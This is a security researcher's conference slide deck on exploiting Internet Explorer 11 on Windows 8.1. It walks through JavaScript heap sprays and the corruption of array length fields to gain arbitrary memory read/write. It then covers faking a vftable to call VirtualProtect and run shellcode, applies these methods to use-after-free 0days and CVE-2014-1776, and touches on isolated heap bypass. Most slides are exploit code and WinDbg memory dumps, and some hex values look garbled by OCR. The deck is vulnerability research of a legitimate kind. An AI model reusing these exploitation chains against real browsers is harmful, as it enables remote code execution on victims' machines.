

IE 11 0day & Windows 8.1 Exploit

-- exp-sky

who am i

- Nsfocus security labs
- The security of browser
- Vulnerability discovery
- Exploit technique
- APT attacks detection

What I do



CHALLENGE

A photograph of a long, illuminated border wall stretching across a landscape at night. The wall is made of concrete or metal panels and is topped with a fence. It is brightly lit from within, creating a strong glow against the dark sky. The foreground is a dry, textured ground surface. In the background, there are hills or mountains under a dark, cloudy sky.

IE 11 0day&Windows 8.1 Exploit

- 1、IntArray Exploit
- 2、Exec Code
- 3、IE 11 0day 1
- 4、Write NULL Exploit
- 5、IE 11 0day 2
- 6、Object Array Exploit
- 7、Isolated Heap & Deferred Free
- 8、Q&A

Intarray exploit

- IntArray heap spray:

```
Var array_1 = new Array();
for(var i=0; i<size; i++)
{
    array_1[i] = new Array(0x0c0c0c0c,0x0c0c0c0c,
    0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,
    0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,
    0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,0x0c0c0c0c,
    0x0c0c0c0c,0x0c0c0c0c);
```

Intarray exploit

- IntArray info: (IE 10 – IE 11)

```
Struct Array_Head
{
    void * p_vftable;
    DOWRD var_2;
    DOWRD var_3;
    DOWRD var_4;
    DOWRD size;           //item size
    DOWRD p_first_buffer; //buffer address
    DOWRD p_last_buffer; //buffer address
    DOWRD var_8;
    DOWRD var_9;
    DOWRD var_10;
}
```

Intarray exploit

- IntArray head:

VFTable				
0:017> dd 0a0a0000				
0a0a0000	62264534	04de5940	00000000	00000005
0a0a0010	00000010	0a0a0028	0a0a0028	00000000
0a0a0020	00000001	03960930	00000000	00000010
0a0a0030	00000010	00000000	0c0c0c0c	0c0c0c0c
0a0a0040	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0050	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0060	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0070	0c0c0c0c	0c0c0c0c	00000000	00000000

Intarray exploit

- IntArray info: (IE 10 – IE 11)

```
Struct ArrayBuffer
{
    DWORD var_11;
    DWORD size;           //item size
    DWORD buffer_size;   //buffer size
    DWORD next_buffer;   //next buffer
    DWORD data[buffer_size]; //data
}
```

Intarray exploit

- IntArray data buffer: (IE 10 – IE 11)

0:017> dd 0a0a0000					
0a0a0000	62264534	04de5940	00000000	00000000	
0a0a0010	00000010	0a0a0028	0a0a0028	00000000	
0a0a0020	00000001	03960930	00000000	00000010	
0a0a0030	00000010	00000000	0c0c0c0c	0c0c0c0c	
0a0a0040	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c	
0a0a0050	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c	
0a0a0060	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c	
0a0a0070	0c0c0c0c	0c0c0c0c	00000000	00000000	

BufferSize

Size

Intarray exploit

- IntArray data buffer: (IE 10 – IE 11)

```
array_1[i].push(0x0c0c0c0c);
```

New p_Buffer

0:017> dd 0a0a0000	62264534	04de5910	00000000	00000005
0a0a0010	00000011	16b88900	16b88900	00000000
0a0a0020	00000001	03960930	00000000	00000010
0a0a0030	00000010	00000000	0c0c0c0c	0c0c0c0c
0a0a0040	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0050	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0060	0c0c0c0c	0c0c0c0c	0c0c0c0c	0c0c0c0c
0a0a0070	0c0c0c0c	0c0c0c0c	00000000	00000000

Free


Intarray exploit

- IntArray data buffer: (IE 10 – IE 11)

	Size	BufferSize		
0:017> dd 16b88900		00000000	00000011	00000020
16b88900		00000000	00000011	00000000
16b88910		0c0c0c0c	0c0c0c0c	0c0c0c0c
16b88920		0c0c0c0c	0c0c0c0c	0c0c0c0c
16b88930		0c0c0c0c	0c0c0c0c	0c0c0c0c
16b88940		0c0c0c0c	0c0c0c0c	0c0c0c0c
16b88950	0c0c0c0c	80000002	80000002	80000002
16b88960	80000002	80000002	80000002	80000002
16b88970	80000002	80000002	80000002	80000002
16b88980	80000002	80000002	80000002	80000002

Intarray exploit

- Exploit : edit BufferSize



Intarray exploit

- IntArray data buffer: (IE 10 – IE 11)

```
0:015> ed 0c0c0030 7fffffff //Memory Write
```

```
0:017> dd 0a0a0000
```

```
0a0a0000 62264534 04de5940 00000000 00000005
```

```
0a0a0010 00000010 0a0a0028 0a0a0028 00000000
```

```
0a0a0020 00000001 03960930 00000000 00000010
```

```
0a0a0030 7fffffff 00000000 0c0c0c0c 0c0c0c0c
```

BufferSize

```
0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
```


```
0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
```

```
0a0a0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
```

```
0a0a0070 0c0c0c0c 0c0c0c0c 00000000 00000000
```

Intarray exploit

- Exploit : edit BufferSize



Intarray exploit

- IntArray data buffer: (IE 10 – IE 11)

```
array_1[i][22] = 0x7fffffff;  
array_1[i][29] = 0x7fffffff;  
array_1[i][30] = 0x7fffffff;
```

```
0:015> dd 0a0a0080  
0a0a0080 64314534 04b05940 00000000 00000005  
0a0a0090 7fffffff 0a0a00a8 30a5ca00 00000000  
0a0a00a0 00000001 03880760 00000000 7fffffff  
0a0a00b0 7fffffff 30a5ca00 0c0c0c0c 0c0c0c0c  
0a0a00c0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  
0a0a00d0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  
0a0a00e0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c  
0a0a00f0 0c0c0c0c 0c0c0c0c 00000000 00000000
```

Intarray exploit

- Exploit : process memory read/write

```
var jscript9_base_addr = array_1[i+1][18] - 0x00004534;
```



Intarray exploit

- But...

```
array[0] = 0x80000000;
```

```
0:015> dd 0c0c0100
0c0c0100  62a94534 04a95940 00000000 00000005
0c0c0110  0000001f 0c0c0128 12612190 00000000
0c0c0120  00000001 037d0900 00000000 00000010
0c0c0130  00000010 12612190 0c0c0c0c 0c0c0c0c
0c0c0140  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0150  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0160  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0170  0c0c0c0c 0c0c0c0c 00000000 00000000
```

Intarray exploit

- But : array[0] = 0x80000000

```
array[0] = 0x80000000;
```

```
0:016> dd 0c0c0100
0c0c0100 62a94cf8 04ac5980 00000000 00000005
0c0c0110 0000001f 0c0c0128 0c0c0128 00000000
0c0c0120 00000001 00000000 00000000 00000010
0c0c0130 00000010 12708cd0 036f8ed0 18181819
0c0c0140 18181819 18181819 18181819 18181819
0c0c0150 18181819 18181819 18181819 18181819
0c0c0160 18181819 18181819 18181819 18181819
0c0c0170 18181819 18181819 00000000 00000000
```

```
0:016> u poi(036f8ed0)
jscript9!Js::JavascriptNumber::`vftable' :
```

Intarray exploit

- Data or object ? : **(data << 1) | 1**

```
0:016> dd 0c0c0100
0c0c0100 62a94cfcc 04ac5980 00000000 00000005
0c0c0110 0000001f 0c0c0128 0c0c0128 00000000
0c0c0120 00000001 00000000 00000000 00000010
0c0c0130 00000010 12708cd0 036f8ed0 18181819
0c0c0140 18181819 18181819 18181819 18181819
```

Object

0:016> poi(036f8ed0)

jscript9!Js::JavascriptNumber::`vftable' :

```
0:016> ?18181819>>1
```

Evaluate expression: 202116108 = 0c0c0c0c

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Exec code

Save shell code

Find shell code

Edit process protect

Exec shell code

Exec code

- Sehll Code :
- IntArray Value < 0x80000000

Exec code

- Data or object ? : **(data << 1) | 1**

```
0:016> dd 0c0c0100
0c0c0100 62a94cfcc 04ac5980 00000000 00000005
0c0c0110 0000001f 0c0c0128 0c0c0128 00000000
0c0c0120 00000001 00000000 00000000 00000010
0c0c0130 00000010 12708cd0 036f8ed0 18181819
0c0c0140 18181819 18181819 18181819 18181819
```

Data **Object**

```
0:016> poi(036f8ed0)
jscript9!Js::JavascriptNumber::`vftable' :
```

```
0:016> ?18181819>>1
Evaluate expression: 202116108 = 0c0c0c0c
```

Exec code

- Shell Code :
- 1、Encode Shell Code
 - DWORD > 000000
- 2、Save Shell Code to other object
 - Find Shell Code

Exec code

- Shell Code :

```
var shell_code = "\u9090\u9090";  
array_1[i+3][0] = shell_code;
```

```
0:020> dd  
0c0c0180 61db4cfcc 04a3598c 00000000 00000005  
0c0c0190 0000001f 0c0c01a8 0c01a8 00000000  
0c0c01a0 00000001 00000000 01000000 00000010  
0c0c01b0 00000010 1296cdc0 03201240 18181819  
0c0c01c0 18181819 18181819 18181819 18181819
```

```
0:020> u poi(03201240)  
jscript9!Js::LiteralString::`vtable' :
```

Exec code

- Shell Code :

```
Struct Js::LiteralString
{
    VOID* VFTable;
    DWORD* Arg1;
    DWORD* Length;
    VOID* DataBuffer;
}
```

The diagram illustrates a memory dump from a debugger. A blue arrow points from the 'DataBuffer' member of the struct definition to the memory location 0x03060970. Another blue arrow points from the value at 0x03060970 back to the memory location 0x00000200, which is highlighted with a blue callout bubble labeled 'Shell Code'. The memory dump shows the following data:

Address	Value	Type
0:020> dd 03201240 L4	03201240 C1 11 C3 74	L4
03201240 C1 11 C3 74 04a35140 00000200 03060970	04a35140 00000200 03060970	
0:015> db 03060970 L8	03060970 90 90 90 90 00 00 00	L8
03060970 90 90 90 90 00 00 00	

Exec code

- Shell Code : Get LiteralString->DataBuffer

```
Struct Js::LiteralString
{
    VOID* VFTable;
    DWORD* Arg1;
    DWORD* Length;
    VOID* DataBuffer;
}
```

```
var string_addr    = read_dword(0x0c0c01b8);
var shellcode_addr= read_dword(string_addr+0x0c);
```

Exec code

- Shell Code : Get LiteralString->DataBuffer

```
shell code address : 0x04e86a00
```

```
0:003> db 04e86a00 L4  
04e86a00 90 90 90 90
```

....

```
0:003> u 04e86a00  
04e86a00 90          nop  
04e86a01 90          nop  
04e86a02 90          nop  
04e86a03 90          nop
```

Exec code

Save shell code

Find shell code

Edit process protect

Exec shell code

Exec code

- VirtualProtect :

```
Int CustomHeap::Heap::EnsurePageReadWrite(DWORD f101dProtect)
{
    if ( *(_BYTE *) (f101dProtect + 1) || *(_BYTE *) f101dProtect )
        result = 0;
    else
    {
        VirtualProtect(*(LPVOID *) (f101dProtect + 0xC),
                      0x1000u, 0x40u, &f101dProtect);
        result = f101dProtect;
        *(_BYTE *) (f101dProtect + 1) = 1;
    }
0:016> dd 0x0c0c003c
0c0c003c 0c0c0000 0c0c0c0c 0c0c0c0c 0c0c0000
```

Exec code

- Virtual function:

```
Script : 0x0c0c0c0c in array;
```

```
Int Js::JavascriptNativeIntArray::HasItem(unsigned int arg0)
{
    unsigned int v2; // [sp+0h] [bp-4h]@1
    unsigned int v3; // [sp+Ch] [bp+8h]@0

    v2 = arg0;
    return JavascriptNativeIntArray::DirectGetItemAt_int_(v3, &v2);
}
```

VFTable Offset

```
0:020> u poi(61db4534 +(7c))
jscript9!Js::JavascriptNativeIntArray::HasItem:
```

Exec code

- Exploit : edit vftable

```
Script : array_1[i][0]      = 0x61ef3ba1; //EnsurePageReadWrite  
          array_1[i+1][18] = 0x0c0bffbc; //Fake VFTable
```

```
0:017> dd 0a0a0030  
0a0a0030 00000010 00000000 61ef3ba1 0c0c0c0c
```


Fake
VFTable

```
dd 0c0c0100  
0c0bffbc 04a35940 00000000 00000005  
0c0c0110 0000001f 0c0c0113 1296ce10 00000000  
0c0c0120 00000001 0306 00 00000000 00000010
```

```
0:020> dd 0c0bffbc+5 L1  
0c0c0038 61ef3ba1 //EnsurePageReadWrite
```

Exec code

- Exploit : edit vftable



Exec code

- Exploit : edit memory protect

Memory Address Struct

Script : 0x0c0c003c in array;

Js::JavascriptNativeIntArray::HasItem

CustomHeap::Heap::EnsurePageReadWrite

Exec code

- Exploit : edit memory protect

```
0:015> !address 0x04f46a00
Usage: <unknown>
Base Address: 04f46000
End Address: 04f48000
Region Size: 00002000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 04f30000
Allocation Protect: 00000004 PAGE_READWRITE
```

Exec code

Save shell code

Find shell code

Edit process protect


Exec shell code

Exec code

- Exec Sehll Code

```
array_1[i][0] = shellcode_addr;  
0x0c0c003c in (array_1[i + 2]);
```

Exec code





Success?

IE 11 0day&Windows 8.1 Exploit

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IE 11 Oday 1

- Use after free:

UAF Object : CTreePos

Object Size : 0x60

(974.1008) : Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=068abfc4 ebx=00000008 ecx=03e62fc4 edx=00000000 esi=23c26fc0 edi=046486a8

eip=62e84f17 esp=046485a4 ebp=046485e8 iopl=0 nv up ei pl nz na

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

MSHTML!Edit11::CMmarkupPositionEnumerator::Analyze+0x32a:

62e84f17 f60104 test byte ptr [ecx], 4 ds:0023:03e62fc4=??

IE 11 Oday 1

- Memory write:

Memory Write :

```
esi = p_CTreePos           //UAF Object  
ecx = [p_CTreePos+0x24] = p_CTreeNode  
eax = [p_CTreeNode+0xfc]
```


```
mov     ecx, [esi+24h]  
mov     eax, [ecx+0FCh]  
mov     [esi+28h], eax  
mov     eax, [ecx+0FCh]  
test    eax, eax  
jnz    loc_100BD43C
```



The screenshot shows a debugger interface with two windows. The top window displays assembly code with several memory addresses highlighted in blue. A green arrow points from the assembly code to the first instruction in the dump window. The bottom window shows a memory dump with the same assembly code, where the first instruction is highlighted in red. The assembly code in both windows is identical, showing a sequence of moves and a jump to address loc_100BD43C.

IE 11 Oday 1

- Memory write:



IE 11 Oday 1

- Memory write: But ...



IE 11 Oday 1

- Memory write: **NULL** ...



IE 11 0day&Windows 8.1 Exploit

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Write NULL exploit

- Edit IntArray buffer size, but :

```
0:017> dd 0a0a0000
0a0a0000  62264534  04de5940  00000000  00000005
0a0a0010  00000010  0a0a0028  0a0a0028  00000000
0a0a0020  00000001  03960930  00000000  00000010
0a0a0030  00000000  00000000  0c0c0c0c  0c0c0c0c
0a0a0040  0c0c0c0c  0c0c0c0c  0c0c0c0c  0c0c0c0c
0a0a0050  0c0c0c0c  0c0c0c0c  0c0c0c0c  0c0c0c0c
0a0a0060  0c0c0c0c  0c0c0c0c  0c0c0c0c  0c0c0c0c
0a0a0070  0c0c0c0c  0c0c0c0c  00000000  00000000
```

Write NULL exploit

- Edit IntArray buffer size, but :

		Fake item size		Data Buffer Head	
0:017>	dd 0a0a0000				
0a0a0000	62264534	04de5940	00000000	00000005	
0a0a0010	00000010	0a0a0000	0a0a0028	00000000	
0a0a0020	00000001	03960930	00000000	00000010	
0a0a0030	00000010	00000000	0c0c0c0c	0c0c0c0c	


```
0:017> db 0a0a0000
0a0a0000 34 45 fe 67 40 f9 bb 04-00 00 00 00 05 00 00 00
0a0a0010 10 00 00 00 28 00 0a 0a-28 00 0a 0a 00 00 00 00
0a0a0020 01 00 00 00 f0 08 73 03-00 00 00 10 00 00 00 00
0a0a0030 10 00 00 00 00 00 00 00-0c 0c 0c 0c 0c 0c 0c 0c
```

Write NULL exploit

- Exploit :

Edit 0x0a0a0000
ArrayBuffer.p_BufferStart

All process memory
read/write



Edit next IntArray 0x0a0a0080
IntArray.Size
ArrayBuffer.Size
ArrayBuffer.BufferSize

Write NULL exploit

- Exploit :



Demo

这台电脑

工具

exploit.html

Process Explorer - Sysinternals: www.sysinternals....

File Options View Process Find Users Help

Process	PID	CPU	Private Bytes	Working...
svchost.exe	804	13,544 K	11,972 K	Y
audiogd.exe	9696	< 0.01	5,460 K	7,828 K
svchost.exe	840		20,924 K	22,512 K
taskhostex.exe	1472	0.01	66,732 K	32,888 K
taskhost.exe	1712		4,592 K	2,256 K
svchost.exe	916		6,404 K	7,976 K
svchost.exe	980		37,848 K	32,532 K
MMixSrv.exe	1052		360 K	112 K
Start8Srv.exe	1076		368 K	112 K
Start8.exe	1092		612 K	392 K
svchost.exe	1136		8,656 K	8,480 K
spoolsv.exe	1296		2,680 K	3,112 K
svchost.exe	1348		10,480 K	8,648 K
coherence.exe	1912		440 K	280 K
coherence.exe	1952		564 K	288 K
prl_tools_service.exe	1944		1,204 K	760 K
prl_tools.exe	1984		1,784 K	5,112 K
dllhost.exe	1996		988 K	1,016 K
sqlwriter.exe	252		1,172 K	1,140 K
MsMpEng.exe	712		61,004 K	2,976 K
svchost.exe	2424		988 K	1,848 K
msdtc.exe	2524		1,644 K	360 K
svchost.exe	2692		1,452 K	2,268 K
SearchIndexer.exe	3312		29,668 K	28,668 K
SearchProtocolHost.exe	10780		1,404 K	4,072 K
SearchFilterHost.exe	10424		724 K	3,784 K
dllhost.exe	4776		2,416 K	1,496 K
svchost.exe	11052		540 K	2,680 K
lsass.exe	552		3,992 K	5,388 K
csrss.exe	444		2,500 K	10,532 K
winlogon.exe	508		1,172 K	296 K
dwm.exe	748		26,488 K	15,952 K
MMix_32.exe	1464	0.04	4,332 K	4,404 K
explorer.exe	1560	0.33	185,232 K	65,964 K
prl_cc.exe	3636	0.06	3,672 K	6,308 K
procexp.exe	3864	0.71	16,128 K	17,624 K

CPU Usage: 1.52% Commit Charge: 33.23% Processes: 46 Physical Usage:

ENG 11:49

IE 11 0day&Windows 8.1 Exploit

- 1、IntArray Exploit
- 2、Exec Code
- 3、IE 11 0day 1
- 4、Write NULL Exploit
- 5、IE 11 0day 2
- 6、Object Array Exploit
- 7、Isolated Heap & Deferred Free
- 8、Q&A

IE 11 Oday 2

- Info :

```
(1544.b44): Access violation - code c0000005 (!!! second chance !!!)
eax=e2edccb8 ebx=71050fc0 ecx=00000018 edx=0ee2edcc esi=712fd698
edi=7247bf98 eip=62af42b6 esp=7090ac10 ebp=7090ad48 iopl=0
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
62af42b6 f6472902    test byte ptr [edi+29h],2    ds:0023:7247bfc1=??
```

```
>!heap -p -a 7247bfc1
6ceb8fc2 verifier!AVrfDebugPageHeapFree+0x000000c2
771a0609 ntdll!RtlDebugFreeHeap+0x00000032
7716258c ntdll!RtlpFreeHeap+0x00069afc
770f8755 ntdll!RtlFreeHeap+0x00000425
```

IE 11 Oday 2

- Memory Write:

```
esi = UAF_Object->pointer
```

```
add    dword ptr [esi+0Ch], 8
```

- IntArray Exploit.

IE 11 Oday 2

- Exploit :Demo



Demo

Process	PID	CPU	Private Bytes	Working Set	
taskhostex.exe	1520	66,504 K	22,23		
taskhost.exe	644	4,424 K	1,87		
svchost.exe	904	5,744 K	6,36		
svchost.exe	976	45,204 K	40,74		
WUDFHost.exe	2580	1,044 K	72		
MMixSrv.exe	1060	364 K	67		
Start8Srv.exe	1080	364 K	14		
Start8.exe	1112	608 K	35		
svchost.exe	1140	9,208 K	8,60		
spoolsv.exe	1280	2,472 K	2,80		
svchost.exe	1312	10,688 K	8,48		
coherence.exe	1828	424 K	28		
coherence.exe	1844	560 K	28		
prl_tools_service.exe	360	920 K	1,18		
prl_tools.exe	544	0.01	1,764 K	4,10	
dllhost.exe	340		964 K	1,16	
sqlwriter.exe	1168		1,136 K	1,10	
MsMpEng.exe	1712		60,692 K	2,42	
svchost.exe	2408		1,436 K	2,34	
svchost.exe	2524		948 K	1,76	
msdtc.exe	2700		1,896 K	40	
SearchIndexer.exe	3128		29,688 K	22,55	
SearchProtocolHost.exe	6364		1,364 K	3,80	
SearchFilterHost.exe	6444		776 K	3,79	
svchost.exe	5940		10,824 K	11,30	
svchost.exe	7216	0.01	532 K	2,67	
lsass.exe	556	< 0.01	3,812 K	4,53	
csrss.exe	480	0.04	2,392 K	10,09	
winlogon.exe	516		1,184 K	73	
dwm.exe	760	0.08	27,156 K	15,36	
MMix_32.exe	1452	0.02	4,784 K	2,80	
explorer.exe	1588	0.20	128,580 K	59,27	
prl_cc.exe	3340	0.03	3,488 K	6,18	
procexp.exe	2184	0.83	19,812 K	21,04	
cmd.exe	6436		1,420 K	2,38	
conhost.exe	7460	< 0.01	1,128 K	5,77	



Success?

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Object Array Exploit

- Object Array(IE 9-IE 11)

```
0:017> dd 0c0c0000
0c0c0000 611b4cf0 07b943e0 00000000 00000005
0c0c0010 00000014 0c0c0020 0c0c0020 00000000
0c0c0020 00000000 00000014 00000014 00000000
0c0c0030 18181819 18181819 18181819 18181819
0c0c0040 18181819 18181819 18181819 18181819
0c0c0050 18181819 18181819 18181819 18181819
```

```
0:017> u 679b4cf0
jscript9!Js::JavascriptArray::`vtable':
```

Object Array Exploit

- Object Array(IE 9-IE 11)

```
Write : array_1[i] = 0x0c0c0c0c;
```

```
0:017> ? 0x0c0c0c0c << 1 | 1
```

```
Evaluate expression: 404232217 = 18181819
```

```
0:017> dd 0c0c0000
```

```
0c0c0000 611b4cf0 07b943e0 00000000 00000005
```

```
0c0c0010 00000014 0c0c0020 0c0c0020 00000000
```

```
0c0c0020 00000000 00000014 00000014 00000000
```

```
0c0c0030 18181819 18181819 18181819 18181819
```

```
0c0c0040 18181819 18181819 18181819 18181819
```

```
0c0c0050 18181819 18181819 18181819 18181819
```

Object Array Exploit

- Object Array(IE 9-IE 11)

```
Read : array_1[i];
```

```
Object :
```

```
    if(value & 1 == 0)
        return value->vfunction_value()
```

```
Data :
```

```
    if(value & 1 == 1)
        return value >> 1
```

Object Array Exploit

- Object Array(IE 9-IE 11)

```
0:017> dd Array_1
0c0c0100 679b4cfcc 03ae43e0 00000000 00000005
0c0c0110 7fffffff 0c0c0120 0c0c0120 00000000
0c0c0120 00000000 7fffffff 7fffffff 00000000
0c0c0130 18181819 18181819 18181819 18181819
```

```
0:017> dd Array_2
0c0c0200 679b4cfcc 03ae43e0 00000000 00000005
0c0c0210 7f7f7f7f 0c0c021f 0c0c0220 00000000
0c0c0220 00000000 7f7f7f7f 7f7f7f7f 00000000
0c0c0230 18181819 18181819 18181819 18181819
```

Object Array Exploit

- All Process Read :



```
Read VFTable 0x0c0c0000 : 0x679b4cf0%4=0  
0:017> db 0c0c0000-4  
0c0bffffc 01 00 00 00 00 fc 4c 9b 67 e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Array_1 Write DWORD : 0x01010101

Array_1 : 对齐

Array_2 : 偏移 1 byte

```
Read VFTable 0x0c0c0000 : 0x679b4cfcc
```

```
0:017> db 0c0c0000-4  
0c0bffffc [01 01 01 01] fc 4c 9b 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Array_2 Read DWORD : **0x009b4cf0**

Array_1 : 对齐

Array_2 : 偏移 1 byte

```
Read VFTable 0x0c0c0000 : 0x679b4cf0
```

```
0:017> db 0c0c0000-4  
0c0bffffc 01 01 01 01 fc 4c 9b 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Array_2 Write DWORD : 0x01010101

Array_1 : 对齐

Array_2 : 偏移 1 byte

```
Read VFTable 0x0c0c0000 : 0x679b4cf0
```

```
0:017> db 0c0c0000-4  
0c0bffffc 01 01 01 01 01 01 01 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Array_1 Read DWORD : 0x67000000

Array_1 : 对齐

Array_2 : 偏移 1 byte

```
Read VFTable 0x0c0c0000 : 0x679b4cfcc
```

```
0:017> db 0c0c0000-4  
0c0bffffc 01 01 01 01 01 01 01 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Read VFTable : 0x67000000 + 0x009b4cf0

Array_1 : 对齐


Array_2 : 偏移 1 byte

```
Read VFTable 0x0c0c0000 : 0x679b4cf0
```

```
0:017> db 0c0c0000-4  
0c0bffffc 01 01 01 01 01 01 01 01 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- All Process Write :



Object Array Exploit

- Array_1 Write VFTable : 0x67000000

Array_1 : 对齐

Array_2 : 偏移 1 byte

```
Write VFTable 0x0c0c0000 : 0x679b4cfcc
```

```
0:017> db 0c0c0000-4  
0c0bfffc 01 01 01 01 01 00 00 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Array_2 Write VFTable : **0x9b4cf00**

Array_1 : 对齐

Array_1 : 偏移 1 byte

```
Write VFTable 0x0c0c0000 : 0x579b4cf0
```

```
0:017> db 0c0c0000-4  
0c0bfffc 01 01 01 01 fc 4c 9b 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Read Address – 4 byte :

Array_1 : 对齐


Array_2 : 偏移 1 byte

```
Write VFTable 0x0c0c0000 : 0x679b4cf0
```

```
0:017> db 0c0c0000-4  
0c0bffffc 01 01 01 01 fc 4c 9b 67-e0 43 ae 03 00 00 00 00
```

Object Array Exploit

- Exploit : Edit BufferSize



Object Array Exploit

- Exploit CVE-2014-1776 : Demo



Demo

Process	PID	CPU	Private Bytes	Working Set
ChsIME.exe	2064	0.00	1,096 K	1,44
svchost.exe	652	0.00	2,696 K	3,80
svchost.exe	800	0.03	11,840 K	11,86
svchost.exe	848	< 0.01	16,960 K	20,77
taskhostex.exe	1612	< 0.01	42,888 K	46,61
svchost.exe	908	0.00	5,244 K	7,44
svchost.exe	980	< 0.01	28,444 K	27,96
WUDFHost.exe	2524	0.00	1,036 K	68
MMixSrv.exe	1080	0.00	348 K	46
Start8Srv.exe	1096	0.00	360 K	53
Start8.exe	1116	0.00	604 K	76
svchost.exe	1148	0.00	7,396 K	11,65
spoolsv.exe	1304	0.00	2,444 K	2,70
svchost.exe	1348	< 0.01	9,272 K	8,93
coherence.exe	1676	0.00	448 K	52
coherence.exe	1716	0.00	552 K	43
prl_tools_service.exe	1744	0.00	920 K	97
prl_tools.exe	1808	< 0.01	1,600 K	3,00
dllhost.exe	1788	0.00	940 K	1,30
sqlwriter.exe	1864	0.00	1,052 K	1,64
MsMpEng.exe	1948	0.00	57,624 K	24,91
svchost.exe	2220	0.00	852 K	90
msdtc.exe	2516	0.00	1,964 K	1,88
svchost.exe	3200	0.00	1,396 K	1,94
SearchIndexer.exe	3396	< 0.01	26,380 K	38,17
SearchProtocolHost.exe	1244	0.00	1,640 K	7,36
SearchFilterHost.exe	2140	0.00	828 K	3,83
SearchProtocolHost.exe	1976	0.00	1,328 K	5,50
lsass.exe	540	0.00	2,784 K	4,94
csrss.exe	448	0.04	2,464 K	10,20
winlogon.exe	492	0.00	1,152 K	56
dwm.exe	752	0.11	23,196 K	11,62
MMix_32.exe	1548	0.02	4,296 K	5,02
explorer.exe	1556	0.21	46,408 K	54,52
prl_cc.exe	3644	0.02	3,212 K	4,66
procexp.exe	3376	1.95	11,092 K	27,60

Success?

Success.



But ...




IE 11 0day&Windows 8.1 Exploit

- 1、IntArray Exploit
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- 8、Q&A

Isolated Heap & Deferred Free

- Create Isolated Heap :



```
++trirt_proc_attached;
InitializeCriticalSection(&g_csHeap);
g_hProcessHeap = GetProcessHeap();
HeapSetInformation_LowFragmentation_Downlevel(g_hProcessHeap);
headp_handle = HeapCreate(0, 0, 0);
g_hIsolatedHeap = headp_handle;
if ( !headp_handle )
    return 0;
HeapSetInformation_LowFragmentation_Downlevel(headp_handle);
v4 = _DllMainCRTStartup(hinstDLL, 1, lpReserved);
```

Isolated Heap & Deferred Free

- DOM Element Object:

```
Var b = document.createElement("button");

CButton::CreateElement
    |- _MemIsolatedAllocClear()
        |- HeapAlloc(_g_hIsolatedHeap,8,size)
```

Isolated Heap & Deferred Free

- Area element coords attribute :


```
Var a = document.createElement("area");
a.coords = "202116108, 202116108,...";
```

```
0:005> dd 03971ab8
03971ab8 00000084 0c0c0c0c 0c0c0c0c 0c0c0c0c
03971ac8 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
```

```
CAreaElement::put_ie8_coords
|-CHyperlink::SetAAandcoordsHelper
  |-CHyperlink::SetcoordsHelper
    |-CHyperlink::ParseCoords
      |-HeapAlloc(_g_hProcessHeap,0,size)
```

Isolated Heap & Deferred Free

- Create Isolated Heap :




Isolated Heap & Deferred Free

```
0:006> dd mshtml!g hIsolatedHeap Ll  
5f9e8498 028d0000  
0:006> dd mshtml!g hProcessHeap Ll  
5f9cbc10 00ba0000  
0:006> dd 03cd19a8  
03cd19a8 00000010 00000002 00belcf0 02dce9b0  
03cd19b8 ec2931a0 80007a00 02754f90 00000000  
03cd19c8 00000199 000000d0 ec2431ad 88007b00  
03cd19d8 00000010 00000001 00c64510 00000000  
03cd19e8 ec2731aa 80007c00 5ec4aa2c 00000001  
03cd19f8 00c542c8 00000000 ec2231d7 88007d00  
03cd1a08 5ec8547c 00c341d0 00000001 00000035  
03cd1a18 ecdd1d4 88007e00 5ec85508 00c341d0  
0:006> dd 00belcf0  
00belcf0 00000300 5ed1ada4 00000001 00c4bbd8  
00beld00 80000801 002dc6cb 00c0c8ec 80020003  
00beld10 00000000 00000000 00000000 00000000  
00beld20 77a2e370 671eb3c8 77a2e380 00000001  
00beld30 ed485131 8c000d00 77a119ec 671e8a88  
00beld40 00000001 00bel1220 00bda330 671fb2d8  
00beld50 00000000 00000000 00000000 00000000  
00beld60 00000000 00000000 00000000 00000000  
0:006> du 00c0c8ec  
00c0c8ec "button_element_1"  
0:006> !heap -p -a 00c0c8ec  
    address 00c0c8ec found in  
    _HEAP @ ba0000  
    HEAP_ENTRY Size Prev Flags      UserPtr UserSize - state  
        00c0c8e0 0007 0000  [00]    00c0c8e8     00030 - (busy)
```

Isolated Heap & Deferred Free

- Create Isolated Heap :



Isolated Heap & Deferred Free

- Bypass : Isolated heap vulnerabilities 0day

```
